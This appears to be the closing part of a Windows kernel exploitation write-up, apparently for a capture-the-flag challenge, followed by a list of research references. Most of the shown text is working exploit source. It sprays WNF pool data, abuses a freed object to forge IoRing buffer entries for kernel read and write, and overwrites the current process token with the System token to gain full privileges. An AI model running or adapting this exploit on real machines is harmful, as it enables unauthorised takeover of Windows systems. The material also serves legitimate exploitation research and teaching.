_IOP_MC_BUFFER_ENTRY **buffers = (_IOP_MC_BUFFER_ENTRY **)&FindHeapObj("IrRB", RELEASE_OFFSET, 0x1000)->Obj;
buffers[0] = &fake;
status = CreatePipe(&VictimReadPipe, &VictimWritePipe, NULL, 0x1000);
if (status < 0) {
printf("failed to create pipes\n");
while (true) {}
}
printf("writing fake ioring buffers\n");
status = NtUpdateWnfStateData(&uafed, leaks, 0x1000, 0, 0, 0, 0);
if (status < 0) {
printf("failed to writeback fake heap data\n");
printf("NtUpdateWnfStateData = 0x%lx\n", status);
while (1) {
}
}
char buf[8];
char expected[8];
memset(expected, 0x42, sizeof(expected));
for (int i = 0; i < IORINGS; i++) {
VictimRing = IoRingHandles[i];
memset(buf, 0x41, sizeof(buf));
KernelRead((UINT64)&expected, (void *)&buf, sizeof(buf));
if (memcmp(buf, expected, sizeof(buf)) == 0) {
printf("found corrupted ring!\n");
printf("%p\n", (void *)*(UINT64 *)&buf);
break;
}
}
UINT64 ACTIVE_PROCESS_FLINK_OFFSET = 0;
DWORD64 pid = GetProcessId(GetCurrentProcess());
for (int i = 0; i < 0x700; i += 8) {
DWORD64 guess = KernelReadQ((UINT64)eprocess + i);
if (guess == pid) {
printf("found UniqueProcessId at 0x%x\n", i);
ACTIVE_PROCESS_FLINK_OFFSET = i + 8;
printf("ActiveProcessLinks at 0x%llx\n",
ACTIVE_PROCESS_FLINK_OFFSET);
break;
}
}
char *Target = "System"; // "winlogon.exe";
void *Process = eprocess;
while (true) {
UINT64 ImageFileName[3];
ImageFileName[0] = KernelReadQ((UINT64)Process + IMAGE_FILENAME_OFFSET);
ImageFileName[1] = KernelReadQ((UINT64)Process + IMAGE_FILENAME_OFFSET + 8);
ImageFileName[2] = 0;
char *name = (char *)ImageFileName;
printf("Process(%p) is (%s)\n", Process, name);
if (strcmp(Target, name) == 0) {
break;
}
void *Flink = (void *)KernelReadQ((UINT64)Process + ACTIVE_PROCESS_FLINK_OFFSET);
void *Blink = (void *)KernelReadQ((UINT64)Process + ACTIVE_PROCESS_FLINK_OFFSET + 8);
// printf("Process(%p)->Flink = Process(%p)\n", Process, Flink);
// printf("Process(%p)->Blink = Process(%p)\n", Process, Blink);
Process = Blink - ACTIVE_PROCESS_FLINK_OFFSET;
}
printf("Found %s!\n", Target);
printf("Target process = %p\n", Process);
void *SystemToken = (void *)KernelReadQ((UINT64)Process + TOKEN_OFFSET);
printf("SystemToken = %p\n", SystemToken);
UINT64 test = 0;
KernelWriteQ((UINT64)&test, 1337);
if (test != 1337) {
printf("KernelWrite test failed!\n");
while (true) {}
}
KernelWriteQ((UINT64)eprocess + TOKEN_OFFSET, (UINT64)SystemToken);
Win();
printf("done\n");
getchar();
}

exploit.h

// clang-format off
#define WINAPI_FAMILY WINAPI_FAMILY_DESKTOP_APP
#define NTDDI_VERSION NTDDI_WIN10_NI
#include <io.h>
#include <stdio.h>
#include <winternl.h>
#include <windows.h>
#include <sddl.h>
#include <aclapi.h>
#include <ioringapi.h>
// clang-format on
#define AFFINITY_CORE0 (1 << 0)
#define AFFINITY_CORE1 (1 << 1)
typedef struct {
UINT32 Header;
UINT32 AllocatedSize;
UINT32 DataSize;
UINT32 ChangeStamp;
} _WNF_STATE_DATA;
typedef struct _WNF_STATE_NAME {
ULONG Data2[2];
} WNF_STATE_NAME, *PWNF_STATE_NAME;
typedef enum _WNF_STATE_NAME_LIFETIME {
WnfWellKnownStateName,
WnfPermanentStateName,
WnfPersistentStateName,
WnfTemporaryStateName
} WNF_STATE_NAME_LIFETIME;
typedef enum _WNF_DATA_SCOPE {
WnfDataScopeSystem,
WnfDataScopeSession,
WnfDataScopeUser,
WnfDataScopeProcess,
WnfDataScopeMachine,
WnfDataScopePhysicalMachine
} WNF_DATA_SCOPE;
typedef struct _WNF_TYPE_ID {
GUID TypeId;
} WNF_TYPE_ID, *PWNF_TYPE_ID;
typedef const WNF_TYPE_ID *PCWNF_TYPE_ID;
typedef NTSTATUS(NTAPI *__NtCreateWnfStateName)(
_Out_ PWNF_STATE_NAME StateName, _In_ WNF_STATE_NAME_LIFETIME NameLifetime,
_In_ WNF_DATA_SCOPE DataScope, _In_ BOOLEAN PersistData,
_In_opt_ PCWNF_TYPE_ID TypeId, _In_ ULONG MaximumStateSize,
_In_ PSECURITY_DESCRIPTOR SecurityDescriptor);
__NtCreateWnfStateName NtCreateWnfStateName;
typedef struct _WNF_STATE_NAME_REGISTRATION {
PVOID64 MaxStateSize;
PVOID64 TypeId;
PVOID64 SecurityDescriptor;
} WNF_STATE_NAME_REGISTRATION, *PWNF_STATE_NAME_REGISTRATION;
typedef ULONG WNF_CHANGE_STAMP, *PWNF_CHANGE_STAMP;
typedef NTSTATUS(NTAPI *__NtUpdateWnfStateData)(
_In_ PWNF_STATE_NAME StateName,
_In_reads_bytes_opt_(Length) const VOID *Buffer, _In_opt_ ULONG Length,
_In_opt_ PCWNF_TYPE_ID TypeId, _In_opt_ const PVOID ExplicitScope,
_In_ WNF_CHANGE_STAMP MatchingChangeStamp, _In_ ULONG CheckStamp);
__NtUpdateWnfStateData NtUpdateWnfStateData;
typedef NTSTATUS(NTAPI *__NtQueryWnfStateData)(
_In_ PWNF_STATE_NAME StateName, _In_opt_ PCWNF_TYPE_ID TypeId,
_In_opt_ const VOID *ExplicitScope, _Out_ PWNF_CHANGE_STAMP ChangeStamp,
_Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,
_Inout_ PULONG BufferSize);
__NtQueryWnfStateData NtQueryWnfStateData;
typedef NTSTATUS(NTAPI *__NtDeleteWnfStateData)(
_In_ PWNF_STATE_NAME StateName, _In_opt_ const VOID *ExplicitScope);
__NtDeleteWnfStateData NtDeleteWnfStateData;
typedef struct _ALPC_PORT_ATTRIBUTES {
unsigned long Flags;
SECURITY_QUALITY_OF_SERVICE SecurityQos;
unsigned __int64 MaxMessageLength;
unsigned __int64 MemoryBandwidth;
unsigned __int64 MaxPoolUsage;
unsigned __int64 MaxSectionSize;
unsigned __int64 MaxViewSize;
unsigned __int64 MaxTotalSectionSize;
ULONG DupObjectTypes;
#ifdef _WIN64
ULONG Reserved;
#endif
} ALPC_PORT_ATTRIBUTES, *PALPC_PORT_ATTRIBUTES;
typedef struct _PORT_MESSAGE {
union {
struct {
USHORT DataLength;
USHORT TotalLength;
} s1;
ULONG Length;
} u1;
union {
struct {
USHORT Type;
USHORT DataInfoOffset;
} s2;
ULONG ZeroInit;
} u2;
union {
CLIENT_ID ClientId;
double DoNotUseThisField;
};
ULONG MessageId;
union {
SIZE_T ClientViewSize; // only valid for LPC_CONNECTION_REQUEST messages
ULONG CallbackId; // only valid for LPC_REQUEST messages
};
} PORT_MESSAGE, *PPORT_MESSAGE;
typedef struct _ALPC_MESSAGE {
PORT_MESSAGE PortHeader;
BYTE PortMessage[1000]; // Hard limit for this is 65488. An Error is thrown
// if AlpcMaxAllowedMessageLength() is exceeded
} ALPC_MESSAGE, *PALPC_MESSAGE;
typedef struct _ALPC_MESSAGE_ATTRIBUTES {
ULONG AllocatedAttributes;
ULONG ValidAttributes;
} ALPC_MESSAGE_ATTRIBUTES, *PALPC_MESSAGE_ATTRIBUTES;
typedef struct _ALPC_DATA_VIEW_ATTR {
ULONG Flags;
HANDLE SectionHandle;
PVOID ViewBase;
SIZE_T ViewSize;
} ALPC_DATA_VIEW_ATTR, *PALPC_DATA_VIEW_ATTR;
typedef NTSTATUS(NTAPI *__NtAlpcCreatePort)(
_Out_ PHANDLE PortHandle, _In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes);
typedef NTSTATUS(NTAPI *__NtAlpcCreatePortSection)(
_In_ HANDLE PortHandle, _In_ ULONG Flags, _In_opt_ HANDLE SectionHandle,
_In_ SIZE_T SectionSize, _Out_ PHANDLE AlpcSectionHandle,
_Out_ PSIZE_T ActualSectionSize);
typedef NTSTATUS(NTAPI *__NtAlpcCreateSectionView)(
_In_ HANDLE PortHandle, _Reserved_ ULONG Flags,
_Inout_ PALPC_DATA_VIEW_ATTR ViewAttributes);
typedef NTSTATUS(NTAPI *__NtAlpcDeleteSectionView)(_In_ HANDLE PortHandle,
_Reserved_ ULONG Flags,
_In_ PVOID ViewBase);
typedef NTSTATUS(NTAPI *__NtAlpcDeletePortSection)(_In_ HANDLE PortHandle,
_Reserved_ ULONG Flags,
_In_ HANDLE SectionHandle);
#define ALPC_MESSAGE_VIEW_ATTRIBUTE 0x40000000
typedef struct {
ALPC_MESSAGE_ATTRIBUTES msg_attr;
ALPC_DATA_VIEW_ATTR view_attr;
} msg_view_attr;
__NtAlpcCreatePort NtAlpcCreatePort;
__NtAlpcCreatePortSection NtAlpcCreatePortSection;
__NtAlpcCreateSectionView NtAlpcCreateSectionView;
__NtAlpcDeleteSectionView NtAlpcDeleteSectionView;
__NtAlpcDeletePortSection NtAlpcDeletePortSection;
PSECURITY_DESCRIPTOR pSD = NULL;
typedef HANDLE (*__AvSetMmThreadCharacteristicsA)(char *, DWORD *);
HMODULE avrt;
__AvSetMmThreadCharacteristicsA AvSetMmThreadCharacteristicsA;
typedef struct {
void *Flink;
void *Blink;
} _LIST_ENTRY;
typedef struct {
_LIST_ENTRY ResourceList;
BYTE u1;
BYTE ResourceId;
UINT16 CachedReferences;
BYTE Padding[4];
UINT64 ReferenceCount;
BYTE Lock[0x10];
} _BLOB;
typedef struct {
_LIST_ENTRY ViewListEntry;
void *Region;
void *OwnerPort;
void *OwnerProcess;
UINT64 Address;
UINT64 Size;
void *SecureViewHandle;
void *WriteAccessHandle;
UINT32 u1;
UINT32 NumberOfOwnerMessages;
_LIST_ENTRY ProcessViewListEntry;
} _KALPC_VIEW;
typedef struct {
_BLOB Blob;
_KALPC_VIEW View;
} BlobWithView;
typedef struct {
UINT8 PreviousSize;
UINT8 PoolIndex;
UINT8 BlockSize;
UINT8 PoolType;
UINT32 PoolTag;
union {
void *ProcessBilled;
struct {
UINT16 AllocatorBackTraceIndex;
UINT16 PoolTagHash;
};
};
} _POOL_HEADER;
typedef struct {
_POOL_HEADER Header;
BlobWithView Obj;
} SprayedData;
typedef struct {
_POOL_HEADER Header;
struct {
_LIST_ENTRY List;
char *AttributeName;
size_t AttributeValueSize;
char *AttributeValue;
} Attr;
} SprayedPipeAttr;
enum _IOP_MC_BUFFER_ENTRY_FLAGS : UINT32 {
IOP_MCBF_UNLOCK = 0x1,
IOP_MCBF_SIGNAL_RUNDOWN = 0x2,
IOP_MCBF_CLEANED_UP = 0x4
};
struct _LIST_ENTRY_1 {
struct _LIST_ENTRY_1* Flink;
struct _LIST_ENTRY_1* Blink;
};
struct _KEVENT_1 {
char padding[0x18];
};
struct _IOP_MC_BE_PAGE_NODE {
char padding[0x20];
};
typedef struct {
UINT16 Type;
UINT16 Reserved;
UINT32 Size;
INT32 ReferenceCount;
enum _IOP_MC_BUFFER_ENTRY_FLAGS Flags;
struct _LIST_ENTRY_1 GlobalDataLink;
void* Address;
UINT32 Length;
char AccessMode;
INT32 MdlRef;
void* Mdl;
struct _KEVENT_1 MdlRundownEvent;
UINT64* PfnArray;
struct _IOP_MC_BE_PAGE_NODE PageNodes[0x1];
} _IOP_MC_BUFFER_ENTRY;
typedef NTSTATUS(NTAPI *__NtReadVirtualMemory)(
_In_ HANDLE ProcessHandle, _In_ PVOID BaseAddress, _Out_ PVOID Buffer,
_In_ SIZE_T NumberOfBytesToRead, _Out_ PSIZE_T NumberOfBytesReaded);
__NtReadVirtualMemory NtReadVirtualMemory;
typedef NTSTATUS(NTAPI *__NtWriteVirtualMemory)(
_In_ HANDLE ProcessHandle, _In_opt_ PVOID BaseAddress,
_In_reads_bytes_(NumberOfBytesToWrite) PVOID Buffer,
_In_ SIZE_T NumberOfBytesToWrite, _Out_opt_ PSIZE_T NumberOfBytesWritten);
__NtWriteVirtualMemory NtWriteVirtualMemory;
static void dumpMemory(void *ptr, size_t nbytes) {
size_t aligned = (nbytes + 15) & ~15;
for (size_t i = 0; i < aligned; i += 16) {
UINT64 *n = (UINT64 *)&ptr[i];
printf("offset %p = 0x%016llx 0x%016llx\n", (void *)(UINT64)i, n[0],
n[1]);
}
}
static void Init() {
if (sizeof(_BLOB) != 0x30) {
printf("blob size mismatch!\n");
exit(1);
}
if (sizeof(_KALPC_VIEW) != 0x60) {
printf("view size mismatch!\n");
exit(1);
}
if (sizeof(_POOL_HEADER) != 0x10) {
printf("pool header size mismatch!\n");
exit(1);
}
if (sizeof(SprayedData) != 0xa0) {
printf("sprayed data size mismatch!\n");
exit(1);
}
NTSTATUS status;
setbuf(stdout, NULL);
printf("hello from zig!\n");
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
NtCreateWnfStateName =
(__NtCreateWnfStateName)GetProcAddress(ntdll, "NtCreateWnfStateName");
NtUpdateWnfStateData =
(__NtUpdateWnfStateData)GetProcAddress(ntdll, "NtUpdateWnfStateData");
NtQueryWnfStateData =
(__NtQueryWnfStateData)GetProcAddress(ntdll, "NtQueryWnfStateData");
NtDeleteWnfStateData =
(__NtDeleteWnfStateData)GetProcAddress(ntdll, "NtDeleteWnfStateData");
NtAlpcCreatePort =
(__NtAlpcCreatePort)GetProcAddress(ntdll, "NtAlpcCreatePort");
NtAlpcCreatePortSection = (__NtAlpcCreatePortSection)GetProcAddress(
ntdll, "NtAlpcCreatePortSection");
NtAlpcCreateSectionView = (__NtAlpcCreateSectionView)GetProcAddress(
ntdll, "NtAlpcCreateSectionView");
NtAlpcDeleteSectionView = (__NtAlpcDeleteSectionView)GetProcAddress(
ntdll, "NtAlpcDeleteSectionView");
NtAlpcDeletePortSection = (__NtAlpcDeletePortSection)GetProcAddress(
ntdll, "NtAlpcDeletePortSection");
NtReadVirtualMemory =
(__NtReadVirtualMemory)GetProcAddress(ntdll, "NtReadVirtualMemory");
printf("NtReadVirtualMemory = %p\n", NtReadVirtualMemory);
NtWriteVirtualMemory =
(__NtWriteVirtualMemory)GetProcAddress(ntdll, "NtWriteVirtualMemory");
printf("NtWriteVirtualMemory = %p\n", NtWriteVirtualMemory);
printf("ntdll = %p\n", ntdll);
printf("NtFsControlFile = %p\n", NtFsControlFile);
printf("GetSecurityDescriptorDacl = %p\n", GetSecurityDescriptorDacl);
printf("NtCreateWnfStateName = %p\n", NtCreateWnfStateName);
printf("NtUpdateWnfStateData = %p\n", NtUpdateWnfStateData);
status = GetSecurityInfo(GetCurrentProcess(), SE_KERNEL_OBJECT,
DACL_SECURITY_INFORMATION, NULL, NULL, NULL, NULL,
&pSD);
printf("GetSecurityInfo: 0x%lx\n", status);
avrt = LoadLibraryA("avrt.dll");
if (avrt == NULL) {
printf("cannot find avrt.dll\n");
return;
}
printf("found avrt.dll\n");
AvSetMmThreadCharacteristicsA =
(__AvSetMmThreadCharacteristicsA)GetProcAddress(
avrt, "AvSetMmThreadCharacteristicsA");
printf("AvSetMmThreadCharacteristicsA = %p\n",
AvSetMmThreadCharacteristicsA);
}
/*
* spray util
*/
static void SetViewBaseToWNFName(char* buf, WNF_STATE_NAME state_name) {
BlobWithView* view = (BlobWithView*) buf;
view->View.Address = *((PUINT64)&state_name);
}
static int allocate_wnf(UINT amt, void (* func)(char*, WNF_STATE_NAME)) {
#define WNF_MAXBUFSIZE (0x1000)
WNF_STATE_NAME StateNames[amt];
NTSTATUS state = 0;
char StateData[0x1000];
memset(StateData, 0x42, sizeof(StateData));
printf("[+] Prepare _WNF_STATE_DATA spray\n");
for (int i = 0; i < amt; i++) {
state = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, 0,
WNF_MAXBUFSIZE, pSD);
if (state != 0) {
printf("NtCreateWnfStateName failed! error=0x%lx\n",
GetLastError());
return -1;
}
}
printf("starting WNF spray\n");
for (int i = 0; i < amt; i++) {
if (func != NULL) {
(*func)(StateData, StateNames[i]);
}
state = NtUpdateWnfStateData(&StateNames[i], &StateData[0x10], (0x90 -
0x10),
0, 0, 0, 0);
if (state != 0) {
printf("NtUpdateWnfStateData failed! error=0x%lx\n",
GetLastError());
printf("state = 0x%lx\n", state);
return -1;
}
}
char temp[0x1000];
ULONG tempsize = sizeof(temp);
ULONG stamp = 0;
state =
NtQueryWnfStateData(&StateNames[0], 0, NULL, &stamp, temp,
&tempsize);
printf("query status = 0x%lx\n", state);
if (state != 0) {
exit(1);
}
return 0;
}
static int EmptyPagedPool() {
#define WNF_INITIAL_SPRAY (3000)
#define WNF_MAXBUFSIZE (0x1000)
WNF_STATE_NAME StateNames[WNF_INITIAL_SPRAY];
// NTSTATUS state = 0;
// printf("[+] spraying mutexes...\n");
// for (int i = 0; i < WNF_INITIAL_SPRAY; i++) {
// char name[0x90 + 1];
// size_t len = sizeof(name) - 1;
// memset(name, 0x20, len);
// name[len] = 0;
// char id[0x20];
// sprintf(id, "%d", i);
// memcpy(name, id, strlen(id));
// HANDLE m = CreateMutexW(NULL, FALSE, (WCHAR *)name);
// }
// printf("done emptying paged pool\n");
// return 0;
return allocate_wnf(WNF_INITIAL_SPRAY, NULL);
}

References

Ignore this 22232445296303173233123342013353617183719218910111214151625262728

Footnotes

  1. https://fieldeffect.com/blog/cve-analysis-red-october-one-ping-too-many 2

  2. https://ntdoc.m417z.com/ 2

  3. https://processhacker.sourceforge.io/doc/ 2

  4. https://connormcgarr.github.io/swimming-in-the-kernel-pool-part-1/ 2

  5. https://connormcgarr.github.io/swimming-in-the-kernel-pool-part-2/ 2

  6. https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html 2

  7. https://csandker.io/2022/05/29/Debugging-And-Reversing-ALPC.html 2

  8. https://popax21.dev/blog/2025/11/02/hacklu-lokaltal-writeup.html 2

  9. https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntfscontrolfile 2

  10. https://microsoft.github.io/windows-docs-rs/doc/windows/Wdk/Storage/FileSystem/constant.FSCTL_PIPE_SET_HANDLE_ATTRIBUTE.html 2

  11. https://microsoft.github.io/windows-docs-rs/doc/windows/Wdk/Storage/FileSystem/constant.FSCTL_PIPE_GET_HANDLE_ATTRIBUTE.html 2

  12. https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-process_mitigation_system_call_disable_policy 2

  13. https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/42189.pdf 2

  14. https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa 2

  15. https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexw 2

  16. https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-setthreadaffinitymask 2

  17. https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setpriorityclass) 2

  18. https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadpriority 2

  19. https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadpriorityboost 2

  20. https://googleprojectzero.blogspot.com/2022/03/racing-against-clock-hitting-tiny.html 2

  21. https://learn.microsoft.com/en-us/windows/win32/api/avrt/nf-avrt-avsetmmthreadcharacteristicsa 2

  22. https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf 2

  23. https://www.nccgroup.com/research-blog/cve-2018-8611-exploiting-windows-ktm-part-55-vulnerability-detection-and-a-better-readwrite-primitive/#previousmode-abuse 2 3

  24. https://www.nccgroup.com/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-2/ 2

  25. https://windows-internals.com/i-o-rings-when-one-i-o-operation-is-not-enough/ 2

  26. https://windows-internals.com/ioring-vs-io_uring-a-comparison-of-windows-and-linux-implementations/ 2

  27. https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/ 2 3

  28. https://github.com/yardenshafir/IoRingReadWritePrimitive/blob/main/IoRingReadWritePrimitive/Source.cpp 2 3

  29. https://starlabs.sg/blog/2024/all-i-want-for-christmas-is-a-cve-2024-30085-exploit/

  30. https://www.lrqa.com/en/insights/articles/exploiting-a-kernel-paged-pool-buffer-overflow-in-avast-virtualization-driver/

  31. https://theevilbit.blogspot.com/2017/09/pool-spraying-fun-part-1.html

  32. https://blackhat.com/docs/us-14/materials/us-14-Tarakanov-Data-Only-Pwning-Microsoft-Windows-Kernel-Exploitation-Of-Kernel-Pool-Overflows-On-Microsoft-Windows-8.1.pdf

  33. https://www.nccgroup.com/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1

  34. https://www.usenix.org/system/files/sec21fall-lee-yoochan.pdf

  35. https://googleprojectzero.blogspot.com/2021/01/windows-exploitation-tricks-trapping.html

  36. https://empyreal96.github.io/nt-info-depot/Windows-Internals-PDFs/Windows%20System%20Internals%207e%20Part%201.pdf

  37. https://www.fox-it.com/be/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-2/